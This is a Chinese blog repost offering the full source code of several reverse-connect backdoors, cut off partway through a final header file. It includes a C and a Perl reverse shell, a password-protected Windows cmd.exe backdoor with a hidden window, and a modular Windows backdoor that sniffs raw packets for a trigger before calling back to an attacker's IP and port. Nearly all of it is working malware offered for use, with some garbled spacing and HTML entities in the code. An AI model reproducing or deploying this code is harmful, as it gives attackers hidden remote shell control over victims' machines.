五个反弹后门的源代码

最新推荐文章于 2021-03-10 10:05:02 发布

阳阳2013哈哈

最新推荐文章于 2021-03-10 10:05:02 发布

阅读量2.1k

点赞数

CC 4.0 BY-SA版权

文章标签： socket null struct attributes header service

本文链接：https://blog.youkuaiyun.com/mynote/article/details/387252

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <unistd.h>
#include <fcntl.h>
#include <netinet/in.h>
#include <netdb.h>

void usage();
char shell[]="/bin/sh";
char message[]="s8s8 welcome/n";
int sock;
int main(int argc, char *argv[]) {
if(argc <3){
usage(argv[0]);
}

struct sockaddr_in server;
if((sock = socket(AF_INET, SOCK_STREAM, 0)) == -1) {
printf("Couldn't make socket!/n"); exit(-1);
}

server.sin_family = AF_INET;
server.sin_port = htons(atoi(argv[2]));
server.sin_addr.s_addr = inet_addr(argv[1]);

if(connect(sock, (struct sockaddr *)&server, sizeof(struct sockaddr)) == -1) {
printf("Could not connect to remote shell!/n");
exit(-1);
}
send(sock, message, sizeof(message), 0);
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);
execl(shell,"/bin/sh",(char *)0);
close(sock);
return 1;
}

void usage(char *prog[]) {
printf("/t/ts8s8 connect back door/n/n");
printf("/t sql@s8s8.net/n/n");
printf("Usage: %s <reflect ip> <port>/n", prog);
exit(-1);
}

测试结果如下图：

县得有点简陋了，不过还能讲究的过去。。如果需要可以写成LKM，呵呵。

#!/usr/bin/perl
#http://www.s8s8.net
#cnhackTNT[AT]hotmail.com

use strict;
use Socket;
use Cwd;
use IO::Handle;

if ( @ARGV < 1 ) {
print <<"EOF";
usage:
nc -l -p PORT(default 66666) on your local system first,then
Perl $0 Remote IP <space> Remote _port(default 66666)
Type 'quit' to exit or press Enter to gain shell when u under the 'S8S8 console'.
Enjoy ur shell!
Welcome to http://www.s8s8.net
EOF
exit;
}
my $remote = $ARGV[0];
my $remote _port = $ARGV[1] || 66666;
my $proto = getprotobyname('tcp');
my $pack _addr = sockaddr _in( $remote _port, inet _aton($remote) );
my $path = cwd();
my $shell = '/bin/sh -i';

socket( SOCK, AF _INET, SOCK _STREAM, $proto ) || die "socket error: $!";
STDOUT->autoflush(1);
SOCK->autoflush(1);
connect( SOCK, $pack _addr ) || die "connection error : $!";
open STDIN, ">&SOCK";
open STDOUT, ">&SOCK";
open STDERR, ">&SOCK";
print "You are in $path/n";
print "Welcome to www.s8s8.net/nEnjoy ur shell./n/n[S8S8 console]>";

while (<SOCK>) {
chomp;
if ( lc($ _) eq 'quit' ) {
print "/nWelcome to www.s8s8.net";
print "/nByeBye~~~!/n";
exit;
}
elsif ($ _) {
system($shell);
print "/n[S8S8 console]>";
}
else {
print "/n[S8S8 console]>";
}
}
close SOCK;
exit;

很简单，功能和上面 SQL兄那个c版本的差不多。

#include <winsock2.h>
#include <windows.h>
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

#pragma comment (lib,"ws2 _32.lib")

#define PASSSUCCESS "Password success!/n"
#define PASSERROR "Password error./n"
#define BYEBYE "ByeBye!/n"

#define WSAerron WSAGetLastError()
#define erron GetLastError()

VOID WINAPI EXEBackMain (LPVOID s);
//BOOL EXEBackMain (SOCKET sock);

int main (int argc, TCHAR *argv[])
{
SOCKET sock=NULL;
struct sockaddr _in sai;
TCHAR UserPass[20]={0}; //用户设置密码缓冲
TCHAR PassBuf[20]={0}; //接收密码缓冲
TCHAR PassBanner[]="/nPassword:";
TCHAR Banner[]="---------dahubaobao backdoor---------/n";

if (argc!=4)
{
fprintf(stderr,"Code by dahubaobao/n"
"Usage:%s [DestIP] [Port] [Password]/n",argv[0]);
return 0;
}

sai.sin _family=AF _INET;

//判断参数合法性，并填充地址结构
//IP地址不能大于15
if (strlen(argv[1])<=15)
sai.sin _addr.s _addr=inet _addr(argv[1]);
else
{
#ifdef DEBUGMSG
printf("Internet address no larger than /"15/"/n");
#endif
goto Clean;
}

//端口不能小于0 && 大于65535
if (atoi(argv[2])>0&&atoi(argv[2])<65535)
sai.sin _port=htons(atoi(argv[2]));
else
{
#ifdef DEBUGMSG
printf("Port no less than /"0/" and larger than /"65535/"");
#endif
goto Clean;
}

// 密码最大16位
if (strlen(argv[3])<=16)
strcpy(UserPass,argv[3]); //复制密码
else
{
#ifdef DEBUGMSG
printf("Please connect password error/n");
#endif
goto Clean;
}

while (TRUE)
{
WSADATA wsadata;
BOOL ThreadFlag=FALSE;
DWORD ThreadID=0;
int nRet=0;

nRet=WSAStartup(MAKEWORD(2,2),&wsadata); //初始化

if (nRet)
{
#ifdef DEBUGMSG
printf("WSAStartup() error: %d/n",nRet);
#endif
return 0;
}

sock=socket(AF _INET,SOCK _STREAM,IPPROTO _TCP);

if (sock==INVALID _SOCKET)
{
#ifdef DEBUGMSG
printf("socket() GetLastError reports %d/n",WSAerron);
#endif
goto Clean;
}

nRet=connect(sock,(struct sockaddr*)&sai,sizeof (struct sockaddr));

if (nRet!=SOCKET _ERROR)
{
nRet=send(sock,Banner,sizeof (Banner),0);

if (nRet==SOCKET _ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

while (TRUE)
{
nRet=send(sock,PassBanner,sizeof (PassBanner),0);

if (nRet==SOCKET _ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

nRet=recv(sock,PassBuf,sizeof (PassBuf)-1,0);

if (strnicmp(PassBuf,UserPass,strlen(UserPass))==0)
{
#ifdef DEBUGMSG
send(sock,PASSSUCCESS,sizeof (PASSSUCCESS),0);
#endif
ThreadFlag=TRUE;
break;
}
else
{
#ifdef DEBUGMSG
send(sock,PASSERROR,sizeof (PASSERROR),0);
#endif
continue;
}

if (nRet==SOCKET _ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

Sleep(100);
}

if (ThreadFlag)
{
//EXEBackMain(sock);

CreateThread(NULL,0,(LPTHREAD _START _ROUTINE)EXEBackMain,
(LPVOID)sock,0,&ThreadID);
}

}

Sleep(1000);
}

Clean:
if (sock!=NULL)
closesocket(sock);

WSACleanup();
return 0;
}

VOID WINAPI EXEBackMain (LPVOID s)
//BOOL EXEBackMain (SOCKET sock)
{
SOCKET sock=(SOCKET)s;
STARTUPINFO si;
PROCESS _INFORMATION pi;
HANDLE hRead=NULL,hWrite=NULL;
TCHAR CmdSign[]="/ndahubaobao://>";

while (TRUE)
{
TCHAR MsgError[50]={0}; //错误消息缓冲
TCHAR Cmdline[300]={0}; //命令行缓冲
TCHAR RecvBuf[1024]={0}; //接收缓冲
TCHAR SendBuf[2048]={0}; //发送缓冲
SECURITY _ATTRIBUTES sa;
DWORD bytesRead=0;
int ret=0;

sa.nLength=sizeof(SECURITY _ATTRIBUTES);
sa.lpSecurityDescriptor=NULL;
sa.bInheritHandle=TRUE;

//创建匿名管道
if (!CreatePipe(&hRead,&hWrite,&sa,0))
{
#ifdef DEBUGMSG
sprintf(MsgError,"CreatePipe() GetLastError reports %d/n",erron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

si.cb=sizeof(STARTUPINFO);
GetStartupInfo(&si);
si.hStdError=hWrite;
si.hStdOutput=hWrite; //进程（cmd）的输出写入管道
si.wShowWindow=SW _HIDE;
si.dwFlags=STARTF _USESHOWWINDOW | STARTF _USESTDHANDLES;

GetSystemDirectory(Cmdline,sizeof (Cmdline)); //获取系统目录
strcat(Cmdline,"//cmd.exe /c "); //拼接cmd

ret=send(sock,CmdSign,sizeof (CmdSign),0); //向目标发送提示符

if (ret==SOCKET _ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"send() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

ret=recv(sock,RecvBuf,sizeof (RecvBuf),0); //接收目标数据

//如果为exit或quit，就退出
if (strnicmp(RecvBuf,"exit",4)==0||strnicmp(RecvBuf,"quit",4)==0)
{
#ifdef DEBUGMSG
send(sock,BYEBYE,sizeof (BYEBYE),0);
#endif
goto Clean;
}

//表示对方已经断开
if (ret==SOCKET _ERROR)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
goto Clean;
}

//表示接收数据出错
if (ret<=0)
{
#ifdef DEBUGMSG
sprintf(MsgError,"recv() GetLastError reports %d/n",WSAerron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}

Sleep(100); //休息一下，可要可不要
strncat(Cmdline,RecvBuf,sizeof (RecvBuf)); //拼接一条完整的cmd命令

//创建进程，也就是执行cmd命令
if (!CreateProcess(NULL,Cmdline,NULL,NULL,TRUE,NULL,NULL,NULL,&si,&pi))
{
#ifdef DEBUGMSG
sprintf(MsgError,"CreateProcess() GetLastError reports %d/n",erron);
send(sock,MsgError,sizeof (MsgError),0);
#endif
continue;
}

CloseHandle(hWrite);

while (TRUE)
{
//无限循环读取管道中的数据，直到管道中没有数据为止
if (ReadFile(hRead,SendBuf,sizeof (SendBuf),&bytesRead,NULL)==0)
break;
send(sock,SendBuf,bytesRead,0); //发送出去
memset(SendBuf,0,sizeof (SendBuf)); //缓冲清零
Sleep(100); //休息一下
}

}

Clean:
//释放句柄
if (hRead!=NULL)
CloseHandle(hRead);

if (hWrite!=NULL)
CloseHandle(hWrite);

//释放SOCKET
if (sock!=NULL)
closesocket(sock);

WSACleanup();
ExitThread(0);
//return 0;

}

比较完整的.for winnt的.compiler by vc 6.0.

我把后门分成四个部分,一个个部分算作一个模块,首先是主函数入口分成一部分,将来要加一些参数设置,初始化,隐藏进程等等,都在这个主函数部分完成,现在是什么都没有,代码比较少..

代码

#include "mainheader.h"

MAINPARAMETERSTK mpStk={"zvrop","www.s8s8.net"};

//打印帮助
void Usage(char *programName) {
char szHelp[] = "";
fprintf(stderr,"%s usage:%s/n",programName,szHelp);
}

//初始化参数
int HandleOptions(int argc,char *argv[]) {
int i,rn=1;

for (i=1; i< argc;i++) {
if (argv[i][0] == '-') {
switch (argv[i][1]) {
case '?':
case 'h':
case 'H':
Usage(argv[0]);
rn = 0;
break;

default:
Usage(argv[0]);
rn = 0;
break;
}
}
}
return rn;
}

//正式开始工作的主函数
extern int ListenUserMain(void);
int mGotoStart(){

//申请网络
if(!SetSocketDll())
return 0;
int ret=0;
//出错最大100次就结束程序
while(true){
if(!ListenUserMain()){
if(ret++ > 100)
break;
}
}
return 1;
}

//程序入口
int main(int argc, char* argv[]) {
if(argc > 1) {
if(HandleOptions(argc,argv)) {
return 1;
}else {
return 0;
}
}else {
mGotoStart();
return 1;
}
return 1;
}

上面这个部分除了mGotoStart();这个函数,其他都是内部的.

这个mGotoStart();就是sniffer的开始,也就是我们的第二个部分,嗅探部分,我写了三种数据包,udp,tcp,icmp的嗅探,事实上tcp能用上的很少(除非你用某些发包软件直接发tcp包)所以我测试的时候也是用udp和icmp来测试的, 代码如下:

代码

#include "mainheader.h"

#define MAX_PACK_LEN 65535
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

SNIFFERDATASTK sfStk;

//判断数据包的正确性
int ChkBuff(char *msg, int msglen)
{
int i1 = strlen(mpStk.KeyData), i2 = strlen(mpStk.szUserPasd);
if(strnicmp(msg, mpStk.KeyData, i1) == 0){
char *fp = &msg[i1+1];
if(2 != getcmdline(fp,(char*)(&sfStk),100,3)){
return 0;
}
if(!chkPass(sfStk.name)){
return 0;
}
return 1;
}
return 0;
}

//数据包解包
int DecodePack(char *buf, int buflen)
{
IP_HEADER *pIpheader;
int iProtocol;
pIpheader = (IP_HEADER *)buf;
iProtocol = pIpheader->proto;
int iIphLen = sizeof(unsigned long) * (pIpheader->h_lenver & 0xf);
int PackSize = 0;
switch(iProtocol){
case IPPROTO_UDP:
PackSize = sizeof(UDP_HEADER);
break;
case IPPROTO_ICMP:
PackSize = sizeof(UDP_HEADER);
break;
case IPPROTO_TCP:
PackSize = sizeof(TCP_HEADER);
default :
return 0;
}
if((unsigned)(buflen-iIphLen-PackSize) < (strlen(mpStk.KeyData)+10))
return 0;
if(ChkBuff(buf+iIphLen+PackSize, buflen-iIphLen-PackSize))
return 1;
return 0;
}

//循环接收数据包
int RecvRightData(SOCKET Sock)
{
char RecvBuf[MAX_PACK_LEN];
int RecvDataLen;
while(true){
memset(RecvBuf, 0, MAX_PACK_LEN);
RecvDataLen = recv(Sock, RecvBuf, MAX_PACK_LEN, 0);
if(SOCKET_ERROR == RecvDataLen || RecvDataLen < 46)
return 0;
if(DecodePack(RecvBuf, RecvDataLen)){
return 1;
}
}
return 0;
}

//获得本机外部ip
unsigned long msGetipByStrOUT(){
char in[20]="",out[20]="";
if(msGetip(in,out)){
return inet_addr(out);
}else{
return inet_addr("127.0.0.1");
}
}

//设置网络环境,开始嗅探
int Start_Sniffer(SOCKET SnfSock)
{

SOCKADDR_IN addr_in;
addr_in.sin_family = AF_INET;
addr_in.sin_port = INADDR_ANY;
addr_in.sin_addr.S_un.S_addr = msGetipByStrOUT();
if(SOCKET_ERROR == bind(SnfSock, (struct sockaddr*)&addr_in, sizeof(addr_in))){
ConCloseSocket(&SnfSock);
return 0;
}
DWORD dwBufferLen[10];
DWORD dwBufferInLen = 1;
DWORD dwBytesReturned = 0;
if(SOCKET_ERROR == WSAIoctl(SnfSock,
SIO_RCVALL,
&dwBufferInLen,
sizeof(dwBufferInLen),
&dwBufferLen,
sizeof(dwBufferLen),
&dwBytesReturned ,
NULL ,
NULL)){

ConCloseSocket(&SnfSock);
return 0;
}
return 1;
}

//网络开始函数
extern DWORD WINAPI UserThreadFunc(LPVOID lpParam);
int ListenUserMain(void)
{
SOCKET SnfSock;
if(!SetSocketHand(&SnfSock, SOCK_RAW)) {
return 0;
}
if(!Start_Sniffer(SnfSock)) {
return 0;
}
if(!RecvRightData(SnfSock)) {
ConCloseSocket(&SnfSock);
return 0;
}
ConCloseSocket(&SnfSock);
if(!SetSocketHand(&SnfSock, SOCK_STREAM)) {
return 0;
}
if(!ContoReServer(&SnfSock,
(unsigned short)atoi(sfStk.nPort),
sfStk.szIp)) {
ConCloseSocket(&SnfSock);
return 0;
}
if(!UserThreadFunc((LPVOID)&SnfSock)){
return 0;
}
return 1;
}

上面这个部分,除了UserThreadFunc函数是外部的,其他都是内部的,实现了嗅探.

UserThreadFunc函数就是用户线程函数,到了这个函数,就已经和用户建立了连接,下面就是交互式shell的代码了.如下:

代码

#include "mainheader.h"

//关闭cmd进程,防止用户强行断开连接
void closeCMD(USERCONTSTK * sck){
if(sck->procinfo.hProcess != NULL){
TerminateProcess(sck->procinfo.hProcess, -9);
ConCloseHandle(&sck->procinfo.hProcess);
}
}

//结束交互线程B,并关闭相应资源
void KillThreadHdB(USERCONTSTK * sck){
if(sck->UserThreadHdB != NULL){
TerminateThread(sck->UserThreadHdB, 0);
ConCloseHandle(&sck->UserThreadHdB);
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hReadFile);
ConCloseHandle(&sck->hWriteFile);
ConCloseHandle(&sck->hWritePipe);
xfree(sck->buff);
}
}

//结束cmd交互,并中断连接
void quitTELcon(USERCONTSTK * sck){
if(sck->getCMD == 1){
KillThreadHdB(sck);
closeCMD(sck);
sck->getCMD = 0;
}
rnvCasemsg(sck->UserSck, "Bye~^_^~/r/n");
sck->ExitIn = 1;
}

//结束cmd交互,返回后门shell下
void backtoCON(USERCONTSTK * sck)
{
KillThreadHdB(sck);
rnvCasemsg(sck->UserSck,"==========================/r/n"
"S8S8//>");
sck->getCMD = 0;
}

//交互线程B,获取cmd输出,发送给用户端
DWORD WINAPI ThreadFuncB(LPVOID lpParam){

#define MAX_BUFF_TB 4096
USERCONTSTK *ThreadST = (USERCONTSTK *)lpParam;
ThreadST->buff = (char*)malloc(MAX_BUFF_TB*sizeof(char));
if(ThreadST->buff == NULL)
return 0;
ThreadST->Bann = 1;
unsigned long howlong;
DWORD rest;
while(true){
rest = ReadFile(ThreadST->hReadFile, ThreadST->buff, MAX_BUFF_TB, &howlong, NULL);
if(rest <= 0){
xfree(ThreadST->buff);
return 0;
}
send(ThreadST->UserSck, ThreadST->buff, howlong, 0);
}
return 0;
}

//产生并捆绑一个cmdshell.
short GetConSel(USERCONTSTK *sck){
if(sck->getCMD == 1) {
return 0;
}
memset(&sck->pipeattrA, 0, sizeof(sck->pipeattrA));
sck->pipeattrA.nLength = sizeof(SECURITY _ATTRIBUTES);
sck->pipeattrA.lpSecurityDescriptor = NULL;
sck->pipeattrA.bInheritHandle = TRUE;
if(!CreatePipe(&sck->hReadPipe, &sck->hWriteFile, &sck->pipeattrA, 0)){
rnvErrorID(sck->UserSck, "CreatePipe:");
return 0;
}
memset(&sck->pipeattrB, 0, sizeof(sck->pipeattrB));
sck->pipeattrB.nLength = sizeof(SECURITY _ATTRIBUTES);
sck->pipeattrB.lpSecurityDescriptor = NULL;
sck->pipeattrB.bInheritHandle = TRUE;
if(!CreatePipe(&sck->hReadFile, &sck->hWritePipe, &sck->pipeattrB, 0)){
rnvErrorID(sck->UserSck, "CreatePipe:");
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hWriteFile);
return 0;
}
DWORD UserThreadIdB;
sck->Bann = 0;
if((sck->UserThreadHdB = CreateThread(NULL, 0, ThreadFuncB, (LPVOID *)sck, 0,
&UserThreadIdB))==0){
rnvErrorID(sck->UserSck, "CreateThreadB:");
ConCloseHandle(&sck->hReadPipe);
ConCloseHandle(&sck->hWriteFile);
ConCloseHandle(&sck->hReadFile);
ConCloseHandle(&sck->hWritePipe);
return 0;
}
STARTUPINFO starinfo;
GetStartupInfo(&starinfo);
starinfo.dwFlags = STARTF _USESHOWWINDOW | STARTF _USESTDHANDLES;
starinfo.hStdInput = sck->hReadPipe;
starinfo.hStdError = starinfo.hStdOutput = sck->hWritePipe;
starinfo.wShowWindow = SW _HIDE;
char Cmdpath[MAX _PATH+20] = "";
char ConSystemPath[MAX _PATH] = "";
DWORD ren = GetSystemDirectory(ConSystemPath, MAX _PATH);
if(ren != strlen(ConSystemPath)){
rnvErrorID(sck->UserSck, "GetSystemDirectory:");
KillThreadHdB(sck);
return 0;
}
sprintf(Cmdpath, "%s//cmd.exe", ConSystemPath);
if(CreateProcess(Cmdpath, NULL, NULL, NULL, TRUE, 0, NULL, NULL, &starinfo,
&sck->procinfo)==0){
rnvErrorID(sck->UserSck, "CreateProcess:");
KillThreadHdB(sck);
return 0;
}
sprintf(Cmdpath,"========================/r/n"
"=ThreadID = %ld/r/n"
"=ProcessID = %ld/r/n"
"========================/r/n/0",
UserThreadIdB,
sck->procinfo.dwProcessId);
rnvCasemsg(sck->UserSck, Cmdpath);
//如果建立线程B超时,退出
short _timeOut = 0;
while(sck->Bann == 0){
if( _timeOut++ > 50){
rnvErrorID(sck->UserSck, "TIMEOUT");
closeCMD(sck);
KillThreadHdB(sck);
return 0;
}
Sleep(50);
}
//设置为已经获得cmdshell
sck->getCMD = 1;
return 1;
}

//输出banner
void TypeHelp(USERCONTSTK * sck){

rnvCasemsg(sck->UserSck,"/r/n+++++++++++++++++++++++++++++++++++++++++++++++++++/r/n"
"+quit<q> exit/r/n"
"+help<h> exit/r/n"
"+shell<s> cmd shell/r/n"
"+++++++++++++++++++++++++++++++++++++++++++++++++++/r/n");
}

//命令行分析
void WINAPI gocommand(USERCONTSTK * sck,char *comm)
{
ConDel1013(comm);
char cmdline[10][256] = {""};
int comline _num = getcmdline(comm, &cmdline[0][0], 256, 10) + 1;
if(strcmpi(cmdline[0], "") == 0){
return;
}
cmdline[0][0]=toupper(cmdline[0][0]);
switch(cmdline[0][0]){
case 'Q':{
if((strcmpi(cmdline[0], "q") == 0) || (strcmpi(cmdline[0], "quit") == 0)
&& comline _num == 1)
quitTELcon(sck);
else
goto NoCommand;
break;
}
case 'S':{
if((strcmpi(cmdline[0], "s") == 0) || (strcmpi(cmdline[0], "shell") == 0)
&& comline _num == 1)
GetConSel(sck);
else
goto NoCommand;
break;
}
case '?':
case 'H':{
if((strcmpi(cmdline[0], "h") == 0 || strcmpi(cmdline[0], "help") == 0 || strcmpi(cmdline[0], "?") == 0))
TypeHelp(sck);
else
goto NoCommand;
break;
}
default:
NoCommand:
rnvCasemsg(sck->UserSck,"Bad Command!/r/n");
}
}

//交互线程A,可以作为后门本身的shell,也可以作为CMDshell的输入
void BeginShell(USERCONTSTK *sck){
char buff[1024] = {0},buf[1024] = {0};
long howlong;
DWORD nothing;

rnvCasemsg(sck->UserSck, "++++++++++++++++++++++++++++++++++++/r/n"
"+Easy BackDoor/r/n"
"+Coder By ZV(zvrop@163.com)/r/n"
"+Site http://www.s8s8.net/r/n"
"++++++++++++++++++++++++++++++++++++/r/n"
"S8S8//>");
while(true){
memset(buf, 0, 1024);
howlong = recv(sck->UserSck, buf, 1023 - strlen(buff), 0);
if(howlong <= 0){
quitTELcon(sck);
return;
}
strncat(buff, buf, howlong);
if(buf[howlong-1] == '/n'){
if(sck->getCMD != 0){
if(buff[0] == '`'){
gocommand(sck, buff + 1);
}else{
WriteFile(sck->hWriteFile, buff, strlen(buff), &nothing, NULL);
if(!strnicmp(buff, "exit", 4))
backtoCON(sck);
}
}else{
gocommand(sck, buff);
if(sck-> ExitIn == 1){
return;
}
rnvCasemsg(sck->UserSck, "S8S8//>");
}
memset(buff, 0, 1024);
if(sck-> ExitIn == 1){
return;
}
}
}
}

//用户界面入口,申请一个结构用来保存,是为了兼容多用户
DWORD WINAPI UserThreadFunc(LPVOID lpParam){
USERCONTSTK *sck = (USERCONTSTK *)malloc(sizeof(USERCONTSTK));
if(sck == NULL){
rnvErrorID(*(SOCKET *)lpParam, "malloc:");
ConCloseSocket((SOCKET *)lpParam);
return 0;
}
memset(sck, 0, sizeof(USERCONTSTK));
sck->UserSck = *(SOCKET *)lpParam;
BeginShell(sck);
ConCloseSocket(&sck->UserSck);
free(sck);
return 1;
}

最后一个部分是公共函数部分,提供了一些函数的包装.如下:

代码

#include "mainheader.h"

#define MAX_TIMEOUT 20000

//关闭socket句柄
void ConCloseSocket(SOCKET *Sock) {
if(*Sock == 0 || *Sock == SOCKET_ERROR)
return;
closesocket(*Sock);
*Sock = 0;
}

//关闭句柄
void ConCloseHandle(HANDLE *Hand){
if(*Hand == NULL || *Hand == INVALID_HANDLE_VALUE)
return;
CloseHandle(*Hand);
*Hand = NULL;
}

//释放内存
void xfree(char *bf){
if(bf == NULL || bf == 0)
return;
free(bf);
bf = NULL;
}

//设置监听
int LocalListen(SOCKET Sock) {
if(listen(Sock, 5) == SOCKET _ERROR)
return 0;
return 1;
}

//连接远程服务器
int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr) {
struct sockaddr _in server _addr;
server _addr.sin _family = AF _INET;
server _addr.sin _port = htons(port);
struct hostent *server _host;
server _host = gethostbyname( reAddr );
if(server _host == NULL)
return 0;
memcpy( (void *) &server _addr.sin _addr,
(void *) server _host->h _addr,
server _host->h _length );
int len = sizeof( server _addr );
if( connect( *sock, (struct sockaddr *)
&server _addr, len ) < 0 )
return 0;
return 1;
}

//申请网络环境
int SetSocketDll(void) {
WSADATA wsaData;
if(SOCKET _ERROR == WSAStartup(MAKEWORD(2, 2), &wsaData)){
return 0;
}
return 1;
}

//申请连接句柄
int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE) {
*Sock = socket(AF _INET , SOCKTYPE , IPPROTO _IP);
if(*Sock == SOCKET _ERROR)
return 0;
return 1;
}

//发送消息给用户端
void rnvCasemsg(SOCKET Sock, char *msg) {
if (strlen(msg) <= 0)
return;
send(Sock, msg, strlen(msg),0);
}

//发送带错误码的消息给用户端
void rnvErrorID(SOCKET Sock, char *msg) {
char rmsg[256] = {""};
sprintf(rmsg, "/r/nERROR>%s:%d/r/n", msg, GetLastError());
rnvCasemsg(Sock, rmsg);
}

//兼容nc和telnet
void ConDel1013(char *str) {
for(unsigned int i =0; i < strlen(str); i++)
if(str[i] == '/r' || str[i] == '/n')
str[i] = '/0';
}

extern MAINPARAMETERSTK mpStk;

// 密码比较,这里可以加上md5
short chkPass(char *pass) {
if(strnicmp(pass, mpStk.szUserPasd, strlen(mpStk.szUserPasd))==0)
return 1;
return 0;
}

//分解命令行的函数
short getcmdline(char *comm, char *cmdline, short cont, short num){
short j = 0, geti = 0, is20 = 0;
for(short i = 0; comm[i] != '/0' && geti < num; i++){
if(comm[i] != ' ' || is20 >= 1){
if(comm[i] == '"') is20++;
else if(is20 >= 2 && comm[i] == ' ') is20 = 0;
else if(j < cont){
&nbs, p; &nb, sp; cmdline[geti * cont + j] = comm[i];
j++;
}
}
if(comm[i] == ' ' && geti < num && is20 == 0){
geti++;
j = 0;
}
}
return geti;
}

//获得本机IP函数
int msGetip(char *ipin, char* ipout){
char cHostName[80]="";
if((gethostname(cHostName, 80)) == SOCKET _ERROR)
return false;
struct hostent *Host = gethostbyname(cHostName);
if(NULL!=Host){
struct in _addr addr;
int i = 0;
while(Host->h _addr _list[i] != NULL){
memcpy(&addr, Host->h _addr _list[i], sizeof(addr));
if(addr.S _un.S _un _b.s _b1 == 192 && addr.S _un.S _un _b.s _b2 == 168){
if(strlen(ipin) == 0){
strcpy(ipin, inet _ntoa(addr));
}
}else if(addr.S _un.S _un _b.s _b1 == 172 && (addr.S _un.S _un _b.s _b2 >= 16 && addr.S _un.S _un _b.s _b2 <= 131)){
if(strlen(ipin) == 0){
strcpy(ipin, inet _ntoa(addr));
}
}else if(addr.S _un.S _un _b.s _b1 == 10 ){
if(strlen(ipin) == 0){
strcpy(ipin, inet _ntoa(addr));
}
}else{
if(strlen(ipout) == 0){
strcpy(ipout, inet _ntoa(addr));
}
}
i++;
}
if(strlen(ipout) == 0) {
strcpy(ipout, ipin);
}
if(strlen(ipin) == 0){
strcpy(ipin, ipout);
}
return 1;
}
return 0;
}

还要来一个就是程序的头文件:如下:

代码

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <windows.h>

//用户结构
typedef struct _USERCONTSTK{
int getCMD;
char* buff;
int ExitIn;
int Bann;
SOCKET UserSck;
HANDLE UserThreadHdB;
HANDLE hWritePipe;
HANDLE hWriteFile;
HANDLE hReadPipe;
HANDLE hReadFile;
SECURITY_ATTRIBUTES pipeattrA;
SECURITY_ATTRIBUTES pipeattrB;
PROCESS_INFORMATION procinfo;
}USERCONTSTK,*PUSERCONTSTK;

//后门参数结构
typedef struct _MAINPARAMETERSTK{
char szUserPasd[100];
char KeyData[100];
}MAINPARAMETERSTK,*PMAINPARAMETERSTK;

//嗅探数据结构
typedef struct _SNIFFERDATASTK{
char name[100];
char szIp[100];
char nPort[100];
}SNIFFERDATASTK,*PSNIFFERDATASTK;

//ip头部结构
typedef struct _iphdr {
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_flags;
unsigned char ttl;
unsigned char proto;
unsigned short checksum;
unsigned int sourceIP;
unsigned int destIP;
}IP_HEADER;

//tcp头部结构
typedef struct _tcphdr {
USHORT th_sport;
USHORT th_dport;
unsigned int th_seq;
unsigned int th_ack;
unsigned char th_lenres;
unsigned char th_flag;
USHORT th_win;
USHORT th_sum;
USHORT th_urp;
}TCP_HEADER;

//udp头部结构
typedef struct _udphdr {
unsigned short uh_sport;
unsigned short uh_dport;
unsigned short uh_len;
unsigned short uh_sum;
} UDP_HEADER;

//icmp头部结构
typedef struct _icmphdr {
BYTE i_type;
BYTE i_code;
USHORT i_cksum;
USHORT i_id;
USHORT i_seq;
ULONG timestamp;
}ICMP_HEADER;

//一些变量和函数的声名
extern MAINPARAMETERSTK mpStk;

extern void ConCloseSocket(SOCKET *Sock);
extern int LocalListen(SOCKET Sock);
extern int ContoReServer(SOCKET *sock, unsigned short port, char *reAddr);
extern int SetSocketDll(void);
extern int SetSocketHand(SOCKET *Sock, DWORD SOCKTYPE);
extern void rnvCasemsg(SOCKET Sock, char *msg);
extern void rnvErrorID(SOCKET Sock, char *msg);
extern void ConDel1013(char *str);
extern short chkPass(char *pass);
extern short getcmdline(char *comm, char *cmdline, short cont, short num);
extern int msGetip(char *ipin, char* ipout);
extern void ConCloseHandle(HANDLE *Hand);
extern void xfree(char *bf);

所有的公共函数都在这里面.

后语:

之所以写这么多代码是因为我本人喜欢比较稳定的程序,大小不是问题,上面这个程序应该算是非常稳定的后门框架了(因为只用socket 1.0的函数写),包括用户shell和sniffer连接部分,用户可以无限次数的断开,重复连接,产生shell和退出,不会造成句柄和内存的堆积等等问题.

另外,刚才看了看代码,发现不需要用的东西还是很多,大概是为了升级和扩充方便,很多地方留下了接口,有时间我会发一个精简的代码.^ _^.

以下是编译好后测试的一张图:
主机是192.168.1.2,目标机器是192.168.1.3,本机监听端口为8888,默认的数据包标志是"www.s8s8.net", 密码为"zvrop".

发送数据包是用vc的-u发送udp数据,c:/x.txt里面的内容是:

代码

www.s8s8.net zvrop 192.168.1.2 8888

分别是数据包标志, 密码,反向连接ip,反向连接端口,中间用空格格开

注意顺序不要颠倒.

headerf.h

这里面放了公共函数，还有一些声明

#ifndef _BDH_
#define _BDH_
#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib,"ws2_32.lib")
#define SIO_RCVALL _WSAIOW(IOC_VENDOR,1)

typedef struct _iphdr{
unsigned char h_lenver;
unsigned char tos;
unsigned short total_len;
unsigned short ident;
unsigned short frag_and_frag;
unsigned char ttl;
unsigned char proto;
